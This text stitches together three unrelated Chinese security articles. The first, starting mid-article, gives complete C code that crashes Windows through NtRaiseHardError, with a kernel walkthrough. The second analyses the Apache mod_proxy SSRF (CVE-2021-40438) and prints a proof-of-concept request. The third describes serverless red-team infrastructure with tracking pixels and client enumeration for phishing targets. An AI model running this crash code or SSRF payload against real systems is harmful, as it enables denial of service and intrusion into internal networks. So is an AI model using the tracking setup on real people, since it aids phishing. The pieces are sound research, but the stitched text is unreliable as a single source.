10.SeLoadDriverPrivilege 0xa
11.SeSystemProfilePrivilege 0xb
12.SeSystemtimePrivilege 0xc
13.SeProfileSingleProcessPrivilege 0xd
14.SeIncreaseBasePriorityPrivilege 0xe
15.SeCreatePagefilePrivilege 0xf
16.SeCreatePermanentPrivilege 0x10
17.SeBackupPrivilege 0x11
18.SeRestorePrivilege 0x12
19.SeShutdownPrivilege 0x13
20.SeDebugPrivilege 0x14
21.SeAuditPrivilege 0x15
22.SeSystemEnvironmentPrivilege 0x16
23.SeChangeNotifyPrivilege 0x17
24.SeRemoteShutdownPrivilege 0x18
25.SeUndockPrivilege 0x19
26.SeSyncAgentPrivilege 0x1a
27.SeEnableDelegationPrivilege 0x1b
28.SeManageVolumePrivilege 0x1c
29.SeImpersonatePrivilege 0x1d
30.SeCreateGlobalPrivilege 0x1e
31.SeTrustedCredManAccessPrivilege 0x1f
32.SeRelabelPrivilege 0x20
33.SeIncreaseWorkingSetPrivilege 0x21
34.SeTimeZonePrivilege 0x22
35.SeCreateSymbolicLinkPrivilege 0x23
我们可以在自己的电脑上查看一下自己的权限
普通用户权限
绕过UAC时的权限
### 第二类蓝屏：`Critical Process/Thread`
如果对于系统启动过程非常熟悉的话，应该听说过一些系统的关键进程如csrss.exe挂了的话，则整个系统必然挂，这就是属于这一类蓝屏的特色了，只要某个线程或者进程挂了，整个系统就会蓝屏，所以你可能会想，那我只要把这种进程线程关了不就可以蓝吗？那确实，但是你的想法肯定也早就在微软的考虑中，对于那些系统线程，在EHTREAD的SystemThread位置将会是１，这下好了，在关闭线程的函数里判断SystemThread的值，如果是，我就不关，这你不就没办法了吗，对于这部分在后面的逆向部分会提到。咱们先来验证一下是否能关闭系统进程
那不如换种思路，既然无法将系统的Critical Process/Thread关掉，那我把自己设置成Critical
Process/Thread“身份”，然后把自己关掉总可以了吧。
我们需要以下API来改变自己的“身份”，以下均为导出但未文档化的函数(在ntdll中)，因此可以使用GetProcAddress直接获取，不必搜索特征码，倒是省了一个大麻烦。但是需要`SeDebugPrivilege`权限，上面可以看到，那是通过UAC之后才有的权限，因此必须绕过UAC才能使用以下API
* `NtSetInformationProcess`
* `NtSetInformationThread`
* `RtlSetProcessIsCritical` 实际是对NtSetInformationProcess的封装
* `RtlSetThreadIsCritical` 实际是对NtSetInformationThread的封装
### 第三类蓝屏：系统资源耗尽
将物理内存占满应该可以实现蓝屏，读者可以自行测试，不是本文讲解的重点
## 0x03 NtRaiseHardError的逆向分析
### 0.实现代码
先直接上蓝屏代码，通过代码来进行分析
#include <stdio.h>
#include <windows.h>
// 需要的Shutdown权限，至于为什么是19看上面RtlAdjustPrivilege的介绍
const ULONG SE_SHUTDOWN_PRIVILEGE = 19;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWCH Buffer;
}UNICODE_STRING, *PUNICODE_STRING;
typedef enum _HARDERROR_RESPONSE_OPTION
{
OptionAbortRetryIgnore,
OptionOk,
OptionOkCancel,
OptionRetryCancel,
OptionYesNo,
OptionYesNoCancel,
OptionShutdownSystem
} HARDERROR_RESPONSE_OPTION, *PHARDERROR_RESPONSE_OPTION;
typedef enum _HARDERROR_RESPONSE
{
ResponseReturnToCaller,
ResponseNotHandled,
ResponseAbort,
ResponseCancel,
ResponseIgnore,
ResponseNo,
ResponseOk,
ResponseRetry,
ResponseYes
} HARDERROR_RESPONSE, *PHARDERROR_RESPONSE;
// 函数指针
typedef NTSTATUS(NTAPI *NTRAISEHARDERROR)(
IN NTSTATUS ErrorStatus,
IN ULONG NumberOfParameters,
IN PUNICODE_STRING UnicodeStringParameterMask OPTIONAL,
IN PVOID *Parameters,
IN HARDERROR_RESPONSE_OPTION ResponseOption,
OUT PHARDERROR_RESPONSE Response
);
typedef BOOL(NTAPI *RTLADJUSTPRIVILEGE)(ULONG, BOOL, BOOL, PBOOLEAN);
HARDERROR_RESPONSE_OPTION ResponseOption = OptionShutdownSystem;
HARDERROR_RESPONSE Response;
NTRAISEHARDERROR NtRaiseHardError;
RTLADJUSTPRIVILEGE RtlAdjustPrivilege;
int main()
{
// 任何进程都会自动加载ntdll，因此直接获取模块地址即可，不必再LoadLibrary
HMODULE NtBase = GetModuleHandle(TEXT("ntdll.dll"));
if (!NtBase) return false;
// 获取各函数地址
NtRaiseHardError = (NTRAISEHARDERROR)GetProcAddress(NtBase, "NtRaiseHardError");
RtlAdjustPrivilege = (RTLADJUSTPRIVILEGE)GetProcAddress(NtBase, "RtlAdjustPrivilege");
// 提权
BOOLEAN B;
if (!RtlAdjustPrivilege(SE_SHUTDOWN_PRIVILEGE, TRUE, FALSE, &B) == 0)
{
printf("提权失败");
getchar();
return 0;
}
NTSTATUS status = NtRaiseHardError(0xC0000217, 0, NULL, NULL, OptionShutdownSystem, &Response);
return 0;
}
开启双击调试，直接蓝，连调试的机会都不给你，可以说确实很无解了，至少咱们后面的分析的Critical
Thread是可以被windbg断下来的。这个函数本来是用来显示错误信息的，现在却被用来干这种事，世事难料，安全的对抗是永无止境的。
### 1.栈回溯-观察整体
先通过栈回溯观察下程序的运行流程，便于后续的分析，在`KeWaitForSingleObject`返回地址处下个断点，直接蓝了，说明该函数就是蓝屏的“元凶”，这个函数非常复杂，它具体干了咱们不用管，在这个例子中大致就是等待服务程序插入线程来处理它的关机请求。
### 2.IDA分析NtRaiseHardError
分析基于20H1版本的内核，在win7 x64以上这些函数基本没啥变化。
为了方便理解,下文用PX来代指NtRaiseHardError的参数，a代表当前函数的参数，P1就是NtRaiseHardError的第一个参数，a5则为当前函数的第五个参数。
由于第四个参数为0因此直接跳过中间大部分步骤，直接开始调用`ExpRaiseHardError()`,P1 P2 P3
a5分别是NtRaiseHardError传进来参数1、2、3、5，Dst和v26是一个局部变量数组int64[5]，v22则用于返回Response至a6。当然如果你在R0调用，则PreviousMode=0会走下面那个分支调用`ExRaiseHardError()`
下面让我们看看ExpRaiseHardError干了什么
### 3.ExpRaiseHardError
不要看上面的参数，是错的，流程却是对的，IDA的F5果然还是不靠谱，算了，还是手动分析参数吧。
事实证明，千万不能信任IDA的F5，重要环节还得自己来，用windbg验证一下,`bp
nt!ExpSystemErrorHandler`下个断点，64位函数使用rcx rdx r8 r9来传递前四个参数的值，因此rcx rdx r8
r9应该分别是P1 P2 P3 v26的值，可以发现完全符合，证明我们分析的参数是正确的。
### 4.ExpSystemErrorHandler
这函数没做什么事，直接调用了`ExpSystemErrorHandler2()`，依旧不需要看上面的参数顺序，并不正确，经过分析跟`ExpSystemErrorHandler`的参数完全一样
> ExpSystemErrorHandler2(P1, P2, P3, v26数组地址, a5);
>
### 5.ExpSystemErrorHandler2
`ExpSystemErrorHandler2`进行一些列字符串的操作，然后调用了`PoShutdownBugCheck`，第三个参数是最初的P1(错误码)。我们通过栈回溯可以知道，并不会执行下面的`KeBugCheckEx`，因为调用`PoShutdownBugCheck`时就已经蓝屏了。
### 6.PoShutdownBugCheck
没做什么有用的事，将函数分发给了ZwInitiatePowerAction，大家也不要看见`KeBugCheckEx`就兴奋，下面的`KeBugCheckEx`依旧没有执行的机会。
Nt是给R0调用的，Nt系列的更底层，Zw系列的函数是给R3调用的，需要做一些检查，不管怎么说最后调用的一定是Nt的，所以咱们直接分析Nt的。
### 7.NtInitiatePowerAction
前面一大堆加锁、去锁，咱们不管它，看关键步骤，执行到这里，调用`KeWaitForSingleObject`
然后等待system线程挂靠，导致蓝屏
## 0x4 总结
整个流程大致如下图所示
由此看来，`NtRaiseHardError`的蓝屏“旅程”并不复杂，后面的进程线程蓝屏才是真正的挑战，由于文章篇幅限制，只能放到下一节内容来进行讲解，后续的分析会比这个更加深入，更加曲折，更加刺激！
## 0x5 参考
[Reactos源码](https://doxygen.reactos.org/)
[Ring3触发BSOD代码实现及内核逆向分析](https://www.anquanke.com/post/id/213412)
软件调试 第2版 卷2 Windows平台调试 （上） 第十三章 硬错误和蓝屏 | 社区文章 |
# CVE-2021-40438 Apache mod_proxy SSRF 漏洞分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
复现这个漏洞的过程中觉得很有分析的必要，而作者源码结合 log 调试分析的[这篇文章](https://firzen.de/building-a-poc-for-cve-2021-40438)已经写得比较详尽了，就想自己纯从审计的角度写一下分析巩固一下。
总之，如有不当，烦请评论捉虫，我会在第一时间响应并评论提示，谢谢。
## 0x01 简介
### 漏洞成因
可构造 uri 使 mod_proxy 请求转发给内部服务器造成 SSRF 。
### 影响版本
### 实验环境
代审环节个人建议是亲手编译调试 Apache 跟进，可以参照 P 神的教程：
[编译调试 Apache](https://wx.zsxq.com/dweb2/index/topic_detail/418885442584848)
[调试补充事项](https://wx.zsxq.com/dweb2/index/topic_detail/218882521544551)
不一定要 Ubantu，Kali 上笔者也调试成功了，最好用 VS，另外如果你想尝试用 CLion，可以参照下面的链接进行 SSH
远程调试，其余步骤都同上一样：
[Stay local, let your IDE do remote work for you! | The CLion Blog
(jetbrains.com)](https://blog.jetbrains.com/clion/2018/09/initial-remote-dev-support-clion/)
CLion 调试需要注意有 cmake 和 gdb 版本限制，最好不要下载最新版本避免还要用软链接重新下载某一指定版本，或者更新 CLion 也是可以的。
## 0x02 前置学习
为了理解漏洞原理，笔者个人认为是需要 Apache 和 PHP
一些前置知识学习的，就简单概括了并使之递进加深理解，很多点都会在分析过程中用到，行文结合了许多官方文档和自身理解整理以确保准确，如有缺漏不当之处，还请指出。
### Apache 部署 php
众所周知，php 有五种运行模式，其中最常见的三种 CGI、FastCGI、Module 加载或者说 apache2handler 更为恰当（linux
下）。
Module 加载这种模式一般对于 Apache 而言，简单来说，就是把 PHP 作为 Apache 的一个子模块来运行，用 LoadModule
加载模块，最主要的模块就是 mod_php，漏洞实验环境配置调试也是以 LoadModule 加载 mod_proxy 的。
而 FastCGI 这个模式下会用到 PHP-FPM 这个进程管理器进行 FastCGI 管理，而非 CGI 的用 Web 服务器管理，其中的子进程叫做
PHP-CGI ， **这次漏洞的突破点 mod_proxy 就与 PHP-FPM 有关，它从 PHP 5.3.3 就成为了 PHP
的内置管理器，所以配合这个从 Apache httpd 2.4.x 推出了使用 mod_proxy 的子模块 mod_proxy_fcgi 和 PHP-FPM 部署更高性能的 PHP 运行环境。**
虽然现在明显用 Nginx+PHP-FPM 是更好的选择 🙂
### mod_proxy 反向代理
顾名思义，这个模块与其相关模块为 Apache HTTP Server 实现代理 / 网关。
前面有说到 High-performance PHP on apache httpd 2.4.x using mod_proxy_fcgi and php-fpm 这种方式，本质就是 Apache 作为反代服务器用 mod_proxy_fcgi 这个子模块请求转发给 PHP-FPM ，而 PHP-FPM
监听的方式，也就是接收 Apache 转过去时处理 PHP 的请求的方式，有两种：
1. TCP Socket（ip and port）
ProxyPass / http://www.example.com:port
2. UDS （Unix Domain Socket） **只在Apache 2.4.7 及更高版本中支持。** 可以通过使用位于 `unix:/path/app.sock|` 前面的目标来支持使用 UDS 。例如，要代理 HTTP 并将 UDS 定位于 /home/www.socket ，应使用 `unix:/home/www.socket|http://localhost/whatever/` 。
ProxyPass / unix:/path/to/app.sock|http://example.com/app/name
对于反向代理而言， Apache 转发代理，也就是 Apache 发送请求给 PHP-FPM 的方式有三种，其中一种叫 ProxyPass
，这是指令，允许将远程服务器 Map 到本地服务器（反向代理 / 网关）的空间，对于不同监听方式的指令例子如上所示。
### Apache hook 机制
说起 Apache Module 不能不提起 Apache hook，想要处理请求，要做的第一件事就是在请求处理过程中创建一个
hook，所有处理程序，就比如我们上面说到的 mod_proxy
，都会被挂接到请求过程的特定部分。服务器本身是不知道哪个模块负责处理特定请求的，所以会询问每个模块是否对给定请求感兴趣。然后，由每个模块决定是否像身份验证
/ 授权模块那样拒绝服务请求，接受服务请求或拒绝服务请求，就像下图一样。
为了使诸如 mod_example 之类的处理程序更容易知道 Client
端是否在请求我们应处理的内容，服务器具有用于向模块提示是否需要其协助的指令。其中两个是
[AddHandler](https://www.docs4dev.com/docs/zh/apache/2.4/reference/mod-mod_mime.html#addhandler) 和
[SetHandler](https://www.docs4dev.com/docs/zh/apache/2.4/reference/mod-core.html#sethandler)。
为此可以看一个例子理解，比如我们想通过创建合适的 Handler 传递，将请求强制处理为反向代理请求：
<FilesMatch "\.php$">
# Unix sockets require 2.4.7 or later
SetHandler "proxy:unix:/path/to/app.sock|fcgi://localhost/"
</FilesMatch>
这个例子是使用反向代理将对 PHP 脚本的所有请求传递到指定的 FastCGI 服务器，是不是和之前 UDS 的例子很像？
一个 Module 通常是在 Handler 中创建一个 hook，例如：
static void register_hooks(apr_pool_t *pool)
{
/* Create a hook in the request handler, so we get called when a request arrives */
ap_hook_handler(example_handler, NULL, NULL, APR_HOOK_LAST);
}
如上，继而就会在 example_handler 这个函数中处理请求，mod_proxy 也有这样的 Handler 。
另外还要提到的就是 request_rec 结构。
任何请求中最重要的部分是 request record 。在对处理程序函数的调用中，这由与进行的每次调用一起传递的 `request_rec*`
结构表示。该结构在模块中通常简称为 `r` ，包含模块完全处理任何 HTTP 请求并相应做出响应所需的所有信息。
其中这个 `r->filename` 还有其他几个我们就会在分析过程中接触到。
## 0x03 分析
### 代码审计
以 Apache 2.4.48 源代码审计， **不同版本会有些出入** 。
**注意审计这部分着重看代码中的注释，笔者所写的有很大一部分解释和分析都在其中，修复的部分会标 * ，一定要看注释配合理解！**
[[Apache-SVN] Revision
1892814](https://svn.apache.org/viewvc?view=revision&revision=1892814)
直接来看修复前后的对比分析缺陷在哪，还有漏洞本质上是什么问题。
官方的函数解释看这个文档：
[Apache2: HTTP Daemon
Routine](https://ci.apache.org/projects/httpd/trunk/doxygen/group__APACHE__CORE__DAEMON.html#gaa6a7169f7d3801b11d3b113b27284dbd)
--- httpd/httpd/trunk/modules/proxy/proxy_util.c 2021/09/02 12:33:49 1892813
+++ httpd/httpd/trunk/modules/proxy/proxy_util.c 2021/09/02 12:37:02 1892814
@@ -2274,8 +2274,8 @@ static void fix_uds_filename(request_rec *r, char **url){
char *ptr, *ptr2;
if (!r || !r->filename) return;
// COND1：r->filename 前 6 个字符必须是 proxy:
if (!strncmp(r->filename, "proxy:", 6) &&
// COND2：r->filename 必须有 unix: 这个字符串，但不区分大小写，这不同于 strstr
- (ptr2 = ap_strcasestr(r->filename, "unix:")) &&
// COND3：COND2 对 r->filename 进行了截取，这条是判断 unix: 这个字符串后的部分是否有 |
- (ptr = ap_strchr(ptr2, '|'))) {
// *COND2：不区分大小写对两个字符串进行比较，也就是这里 r->filename 必须以 proxy:unix: 开头
+ !ap_cstr_casecmpn(r->filename + 6, "unix:", 5) &&
// *COND3：ptr2 指 proxy:unix: 后的部分，这里判断字符串中那个是否有 | ，与 COND3 要求一致
+ (ptr2 = r->filename + 6 + 5, ptr = ap_strchr(ptr2, '|'))) {
apr_uri_t urisock;
apr_status_t rv;
*ptr = '\0';
// 举例：ProxyPass / unix:/path/to/app.sock|http://example.com/app/name 我们来看这些参数的值
// 这里解析给定的 uri ，填写 apr_uri_t 结构的一些字段，避免重复提取主机端口、路径这些
rv = apr_uri_parse(r->pool, ptr2, &urisock);
// 如果解析成功（apr_uri_parse Returns APR_SUCCESS for success or error code）
if (rv == APR_SUCCESS) {
// 这里 rurl 即 redirect url 在例子中就是 http://example.com/app/name，需要重定向到的地址
char *rurl = ptr+1;
// 返回相对路径，在例子中 uds_path 就是 /path/to/app.sock
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
// 将 uds_path 键值对添加到 r->notes
apr_table_setn(r->notes, "uds_path", sockpath);
*url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
/* r->filename starts w/ "proxy:", so add after that */
memmove(r->filename+6, rurl, strlen(rurl)+1);
// 记录信息
ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
"*: rewrite of url due to UDS(%s): %s (%s)",
sockpath, *url, r->filename);
}
else {
*ptr = '|';
}
}
}
结合注解，可以看出 `fix_uds_filename` 这个函数本身就是用于解析并填写 uri ，文件名标识 UDS ，然后通过管道符 `|`
后面的内容重定向到它。
对比 COND2 和 *COND2 ，我们知道这个漏洞的修复就是单纯强制要求 `proxy:unix:` 开头，COND2 我们也能看出只要是有
`unix:` 字样而且不论大小写都能被解析，显然是判定宽松出了问题，为了更好理解我们先来看 [remy🐀 在 Twitter:
“CVE-2021-40438 Apache SSRF as a one-liner./
Twitter](https://twitter.com/_mattata/status/1449020783989297167) 上的一个 poc ：
可以看到 `unix:` 后它拼接了共 7701 个字符的 A
，可以猜想这其中一定有缓冲区或者错误处理的问题，来看修复前拼接的效果，假设我们发送的请求如下，显然是让代理一个 http 请求：
http://localhost/?unix:$(python3 -c 'print("A"*7701, end="")')|http://backend_server1:8085/
代理请求拼接后：
proxy:http://localhost/?unix:$(python3 -c 'print("A"*7701, end="")')|http://backend_server1:8085/
这里就又因为包含 `unix:` ，满足 COND2 ， **就从 http 请求变成了有效的 UDS 代理重定向请求。**
解释到这，我们明白问题本质后，先来分析什么是我们可控的，再来从 UDS 解析过程上分析为什么要拼接将 7000 个字符才能攻击成功。
#### 哪部分是可控的？
之前在前置知识学习中，笔者有提到过 mod_proxy 有它处理请求的
Handler，我们从这个函数来看哪些是我们可控的，当然，认真看了上部分内容的你，一定知道 `r->filename` 是关键。
modules/proxy/mod_proxy_http.c
static void ap_proxy_http_register_hook(apr_pool_t *p)
{
ap_hook_post_config(proxy_http_post_config, NULL, NULL, APR_HOOK_MIDDLE);
proxy_hook_scheme_handler(proxy_http_handler, NULL, NULL, APR_HOOK_FIRST);
proxy_hook_canon_handler(proxy_http_canon, NULL, NULL, APR_HOOK_FIRST);
warn_rx = ap_pregcomp(p, "[0-9]{3}[ \t]+[^ \t]+[ \t]+\"[^\"]*\"([ \t]+\"([^\"]+)\")?", 0);
}
可以看到有两个 hook，我们来看 `proxy_http_canon` 这个 Handler，是用于处理反代请求的。
static int proxy_http_canon(request_rec *r, char *url)
{
...
// get_url_scheme 是检查该请求是否是（h / H 开头） 再判断是否是 http / https，也就是该不该由 mod_proxy_http 处理
// schema pass
scheme = get_url_scheme((const char **)&url, &is_ssl);
if (!scheme) {
return DECLINED;
}
port = def_port = (is_ssl) ? DEFAULT_HTTPS_PORT : DEFAULT_HTTP_PORT;
...
switch (r->proxyreq) {
default: /* wtf are we doing here? */
case PROXYREQ_REVERSE:
if (apr_table_get(r->notes, "proxy-nocanon")) {
path = url; /* this is the raw path */
}
else {
path = ap_proxy_canonenc(r->pool, url, strlen(url),
enc_path, 0, r->proxyreq);
search = r->args;
}
break;
case PROXYREQ_PROXY:
path = url;
break;
}
if (path == NULL)
return HTTP_BAD_REQUEST;
if (port != def_port)
apr_snprintf(sport, sizeof(sport), ":%d", port);
else
sport[0] = '\0';
// host pass
if (ap_strchr_c(host, ':')) { /* if literal IPv6 address */
host = apr_pstrcat(r->pool, "[", host, "]", NULL);
}
// 最终拼接赋值给 r->filename
r->filename = apr_pstrcat(r->pool, "proxy:", scheme, "://", host, sport,
"/", path, (search) ? "?" : "", search, NULL);
return OK;
}
结合注释，可以看到最终只有 `path` 和 `search` 是我们可控的，`r->filename` 后半部分可控也恰恰是 `|` 后的后端地址。
#### UDS 解析过程
之前在代码注释中也提到过，`uds_path` 就是 `unix:` 与 `|` 之间的部分，在 poc 中就是那近 7000 的字符。
char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
// 将 uds_path 键值对添加到 r->notes
apr_table_setn(r->notes, "uds_path", sockpath);
先来看 `ap_runtime_dir_relative` 做了什么。
server/config.c
// ap_runtime_dir_relative(r->pool, urisock.path)
AP_DECLARE(char *) ap_runtime_dir_relative(apr_pool_t *p, const char *file)
{
char *newpath = NULL;
apr_status_t rv;
const char *runtime_dir = ap_runtime_dir ? ap_runtime_dir : ap_server_root_relative(p, DEFAULT_REL_RUNTIMEDIR);
rv = apr_filepath_merge(&newpath, runtime_dir, file,
APR_FILEPATH_TRUENAME, p);
if (newpath && (rv == APR_SUCCESS || APR_STATUS_IS_EPATHWILD(rv)
|| APR_STATUS_IS_ENOENT(rv)
|| APR_STATUS_IS_ENOTDIR(rv))) {
return newpath;
}
else {
return NULL;
}
}
可以看到调用了 apr 库的 `apr_filepath_merge` 这个函数。
apr/file_io/unix/filepath.c
// apr_filepath_merge(&newpath, runtime_dir, file,APR_FILEPATH_TRUENAME, p)
APR_DECLARE(apr_status_t) apr_filepath_merge(char **newpath,
const char *rootpath,
const char *addpath,
apr_int32_t flags,
apr_pool_t *p)
{
...
rootlen = strlen(rootpath);
maxlen = rootlen + strlen(addpath) + 4; /* 4 for slashes at start, after
* root, and at end, plus trailing
* null */
if (maxlen > APR_PATH_MAX) {
return APR_ENAMETOOLONG;
}
...
}
`apr_filepath_merge` 这个函数简单描述就是将 `addpath` 合并到预先处理的 `rootpath` 上，在这里就是 `file`
合并到 `runtime_dir` 。
对省略的部分解释一下，这里的 `flags` 因为是 `APR_FILEPATH_TRUENAME`（这是合并的规则），流程大概就是检查 `file` 这个
`addpath` 是否包含一些平台不支持的通配符（ `*` 、`?`），其他情况是处理绝对 / 相对路径的一些规则。
可以看到我们截取出来的部分，如果 `maxlen` 也就是 `rootpath` 和 `addpath` 长度 + 4 如果大于
`APR_PATH_MAX`（ linux 与 win 不同，是4096），就会返回一个 `APR_ENAMETOOLONG` 的错误，这个错误赋值给
`rv` ，在 `ap_runtime_dir_relative` 中是最后会进入 else 分支 **return NULL** 的。
之后在 modules/proxy/proxy_util.c 中 `ap_proxy_determine_connection` 确定后端主机名和端口。
PROXY_DECLARE(int)
ap_proxy_determine_connection(apr_pool_t *p, request_rec *r,
proxy_server_conf *conf,
proxy_worker *worker,
proxy_conn_rec *conn,
apr_uri_t *uri,
char **url,
const char *proxyname,
apr_port_t proxyport,
char *server_portstr,
int server_portstr_size)
{
...
// 这里是不是很熟悉？
// 还记得之前有这句 apr_table_setn(r->notes, "uds_path", sockpath); 将 uds_path 键值对添加到 r->notes 吗？
// 这里就是在检验 uds_path 的值
uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path"));
if (uds_path) {
if (conn->uds_path == NULL) {
/* use (*conn)->pool instead of worker->cp->pool to match lifetime */
conn->uds_path = apr_pstrdup(conn->pool, uds_path);
}
if (conn->uds_path) {
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02545)
"%s: has determined UDS as %s",
uri->scheme, conn->uds_path);
}
else {
/* should never happen */
ap_log_rerror(APLOG_MARK, APLOG_DEBUG, 0, r, APLOGNO(02546)
"%s: cannot determine UDS (%s)",
uri->scheme, uds_path);
}
/*
* In UDS cases, some structs are NULL. Protect from de-refs
* and provide info for logging at the same time.
*/
if (!conn->addr) {
apr_sockaddr_t *sa;
apr_sockaddr_info_get(&sa, NULL, APR_UNSPEC, 0, 0, conn->pool);
conn->addr = sa;
}
conn->hostname = "httpd-UDS";
conn->port = 0;
}
else{
...
}
...
}
对照注释，如果我们发送超长字符，导致 `uds_path` 为 `NULL` 的话，就会进入 else 分支，它们具体处理大致是这样一个情况：
if (uds_path) {
// Prepare UDS request…
// 用 UDS 继续通信
}
else {
// Prepare standard proxy request…
// 转而用 TCP 通信
}
这里结合所有内容就可以看出来了，进入 else 分支把请求最终解释成了标准代理请求如 http://<SSRF_TARGET> ，就导致了可以向内部网络任意
Apache 服务器发送请求，请求执行成功，SSRF 触发。
### 漏洞利用
有时会报 503 的错误，多试几次就行了。
## 0x04 参考
[Building a POC for CVE-2021-40438 – Firzens Blog](https://firzen.de/building-a-poc-for-cve-2021-40438)
[Apache SSRF: an all-you-can-eat reverse proxy > Cydrill Software
Security](https://cydrill.com/owasp/apache-ssrf-an-all-you-can-eat-reverse-proxy/)
[Apache mod_proxy SSRF（CVE-2021-40438）的一点分析和延伸 | 离别歌
(leavesongs.com)](https://www.leavesongs.com/PENETRATION/apache-mod-proxy-ssrf-cve-2021-40438.html#) | 社区文章 |
# 如何搭建无服务器的红队基础设施（Part 1）
|
##### 译文声明
本文是翻译文章，文章来源：mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2018/09/serverless-red-team-infrastructure-part-1-web-bugs/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
在红队行动期间，如果能够快速且程序化地部署基础设施通常能带来不少好处。现有大多数参考资料主要关注的是使用`terraform`来部署适用于红队的、面向服务器的基础设施，目前这方面研究已经有较为成熟的解决方案，大家可以深入阅读如下资料了解更多细节：
* [Red Baron](https://github.com/Coalfire-Research/Red-Baron)，@byt3bl33d3r
* [使用Terraform自动化部署红队基础设施（Part 1）](https://rastamouse.me/2017/08/automated-red-team-infrastructure-deployment-with-terraform---part-1/)，@_RastaMouse
* [使用Terraform自动化部署红队基础设施（Part 2）](https://rastamouse.me/2017/09/automated-red-team-infrastructure-deployment-with-terraform---part-2/)，@_RastaMouse
在本文中我们介绍了另一种可选方案，采用ASW Lambda无服务器计算（serverless computing）来实现红队基础设施的部署。
## 二、概述
最早我通过@_xpn才了解到`serverless`这种技术，当时他将这种技术与pushover集成起来，监控用户访问他搭建的钓鱼网站的具体时间。观摩这种方法的实际效果后，我意识到这种思路非常强大，可以用于多种应用场景。
[Amazon](https://aws.amazon.com/serverless/)已经给出了serverless computing这个概念的定义：
> Serverless
> computing可以让您构建并运行应用及服务，无需考虑服务器方面的事务。Serverless应用不需要您动手去配置、扩展和管理任何服务器。您可以使用Serverless
> computing来构建几乎所有类型的应用或者后端服务，我们会帮您准备好应用程序在运行及高扩展性方面所需的一切。
作为红队人员，这种技术特别适合某些红队基础设施组件，因为我们不再需要花精力去提供、构建或者配置服务器。实际上serverless意味着我们可以在需要的时候，花几分钟时间程序化地创建新的服务，如果某次行动暴露，只需要简单清理并重新创建新的、无法被追踪溯源的基础架构即可。
AWS Lambda还有两个突出优点：
首先，当我们部署应用时，会自动获取源自Amazon Root CA的SSL证书：
其次，许多代理服务会将默认的`amazonaws.com`域名（虽然这里可以使用自定义的域名）划分到技术/互联网类别：
然而在操作过程中，我们对于客户端数据的存储方式非常关心（不论是静态还是传输中的动态）。我们要遵守一个重要原则：即便我们广泛使用了云服务（主要作为重定向器来使用），C2系统一定要交给自己的内部服务器来托管，避免在云端存储任何敏感数据。@malcomvetter之前在一篇<a
href=”https://medium.com/[@malcomvetter](https://github.com/malcomvetter
"@malcomvetter")/responsible-red-teams-1c6209fd43cc”>文章中已经讨论过这个原则。大家可以在我们描述的某些工具实现原理中找到这个策略的身影。
## 三、无服务器网络爬虫
在行动的侦察阶段中，我们需要花大部分时间来了解客户的具体环境，其中就包括使用网络爬虫（web
bugs）来跟踪用户接收并点击电子邮件的具体时间，也包括枚举客户端的软件信息。
AWS
Lambda提供了实现该功能的完美平台，我们依托该平台实现了多个Lambda函数来执行跟踪任务，可以枚举客户端信息、将结果存储在Amazon关系型数据库服务中。我们开发的工具为`lambda-webbugs`，大家可以在MDSec ActiveBreach
[GitHub页面](https://github.com/mdsecactivebreach/lambda-webbugs)中下载源码。
使用`serverless`时，我们需要使用一个YAML配置文件（`serverless.yml`）来定义具体服务；`lambda-webbugs`对外公开的函数接口定义位于`functions`区中，总共有3个函数：`ping`、`enum`以及`info`，每个函数都使用`handler`关键字映射到一个python方法上，比如，`ping`函数会映射到`handler.py`文件中的`ping(event,
context)`方法上：
functions:
ping:
handler: handler.ping
events:
- http:
path: collect/ping
method: get
函数公开的HTTP路径定义位于`path`键中，在如上示例中，该函数可以通过`webbug/collect/ping`这个URL来访问，其中`webbug`路径定义位于`stage`键中。
应用提供的3个函数如下所示：
1、`/webbug/collect/ping`：记录已访问过URL的用户。该函数接受`token`以及`step`查询参数。`token`为跟踪用户的唯一ID标识符，而`step`用来区分攻击过程的具体阶段。比如，`step=1`可以表示用户正在打开电子邮件，`step=2`可以表示用户正打开钓鱼页面，`step=3`可以表示用户正打开附件，攻击者可以根据需要设置具体场景。这些回调处理结果会存储在RDS数据库的`webbug`表中，其中包括用户的IP及User-Agent信息；
2、`/webbug/collect/enum`：渲染一个表面上看起来空白的HTML表单，可以执行JavaScript枚举脚本，将结果提交到`info`函数。该函数接受`token`查询参数；
3、`/webbug/collect/info`：接收枚举函数返回的结果，将结果保存到RDS数据库中。该函数接受`token`、`sw`以及`intip`查询参数。
为了便于演示，我们直接使用了[PluginDetect](http://www.pinlady.net/PluginDetect/)库来枚举客户端的插件情况。
## 四、攻击样例
为了演示如何在真实的侦察活动中使用该方法，下面我将向大家介绍具体的使用步骤。
首先我们需要安装`Serverless`。在macOS上最快速的方法就是使用`homebrew`（`brew install
serverless`）。命令执行完毕后，设置`AWS_SECRET_ACCESS_KEY`以及`AWS_ACCESS_KEY_ID`变量，使`Serverless`可以使用我们自己的AWS账户。
接下来需要在AWS中设置RDS实例，在`rds_config.py`脚本中配置凭据信息。
一旦RDS实例启动并正常运行，使用RDS实例对应的`securityGroupIds`以及`subnetIds`来更新`VPC:configuration`中的值，使其能部署到同一个VPC中，也就是说它们之间可以直接通信，无需重新配置安全组。从现在开始，我们只需要运行`serverless
ddeploy`命令就可以将`lambda-webbugs`脚本部署到Lambda中：
以上操作就可以将我们的3个函数部署到Lambda中，用户可以通过对应的URL访问这些资源。
在侦察过程中，我们可能想分析用户是否在查看邮件，我们可以使用`ping`函数，在HTML电子邮件中嵌入如下内容来完成这个任务：
<img src=“https://x6025fpeq1.execute-api.eu-west-1.amazonaws.com/webbug/collect/ping?token=abcd&step=1” />
我们可能想要为每个钓鱼用户分配一个token值，以便跟踪起来更加方便，那么我们可以根据邮件操作的结果，使用`step`参数来表示具体阶段。当用户打开邮件时，邮件客户端就会尝试下载图片，发起HTTP请求，最终在我们的RDS数据库中的`webbug`表中新增一条记录：
